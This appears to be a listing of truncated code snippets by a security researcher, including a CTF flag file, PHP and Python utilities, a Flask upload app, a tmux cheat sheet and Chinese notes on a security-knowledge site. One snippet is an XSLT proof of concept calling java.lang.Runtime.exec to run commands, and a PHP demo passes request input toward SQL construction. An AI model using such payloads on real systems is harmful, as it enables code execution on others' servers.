phith0n

<?php
define('FLAG', 'flag{y0uW1n}');

phith0n

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template>
	<!-- #113 Methodref: java/lang/Runtime.getRuntime:()Ljava/lang/Runtime; -->
	<!-- #119 Methodref: java/lang/Runtime.exec:(Ljava/lang/String;)Ljava/lang/Process; -->
	<!-- #114 Utf8: open -a calculator -->
	<!-- #115 String: touch /tmp/pwn -->
	<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'open -a calculator')" xmlns:Runtime="java.lang.Runtime"/>
	<xsl:value-of select="at:new()" xmlns:at="org.apache.xalan.xsltc.runtime.AbstractTranslet"/>
	<!-- #132 Utf8: <init> -->
	<AAA select="&lt;init&gt;"/>

phith0n

<?php
set_time_limit(0);

$filename = 'bigfile.txt';
$f = fopen($filename, 'r');
$i = 0;
$chunk = 2;
$each = 100 / (filesize($filename) / $chunk);

while (true) {

phith0n

import re
from enum import Enum


class State(Enum):
    Initial = 0
    D = 10
    DRest = 11
    S = 20
    SRest = 21

phith0n

<?php
$db = new PDO('sqlite::memory:');
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$db->exec("CREATE TABLE user (id int, username string, password string);");
$db->exec("INSERT INTO user VALUES(1, 'admin', 'admin');");
$db->exec("INSERT INTO user VALUES(2, 'demo', 'demo');");

$summary = $_REQUEST['field'];
$bind_vals = [];
$sql_set   = ' ';

phith0n

root@b3324f24e6c0:/tmp# ./sample.sh -n Bob -a
Arg: -n
Arg: Bob
Bob
Arg: -a
-a
Arg: --
--

phith0n

跑一跑微博被和谐的图

sinaimg子域名，跑一遍即可。

phith0n

梧桐百科投稿指南

梧桐百科是一个碎片化安全知识学习平台，我们将细小的知识点（tricks）写入卡片，以卡片的形式让学习者对知识的认识程度更加深刻。

我们接受用户投稿，大家可以把自己觉得优秀的碎片化知识发送给我们，投稿地址：https://tricking.io/card/contribute/

投稿步骤

投稿前，请先搜索，可能你的知识点已经被梧桐百科收录。

phith0n

Tmux 快捷键 & 速查表

启动新会话：

tmux [new -s 会话名 -n 窗口名]

恢复会话：

tmux at [-t 会话名]

phith0n

import os
import posixpath
from werkzeug.utils import secure_filename
from flask import Flask, redirect, url_for, abort, request, send_file
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'upload')


def allowed_file(filename):
    return '.' in filename and \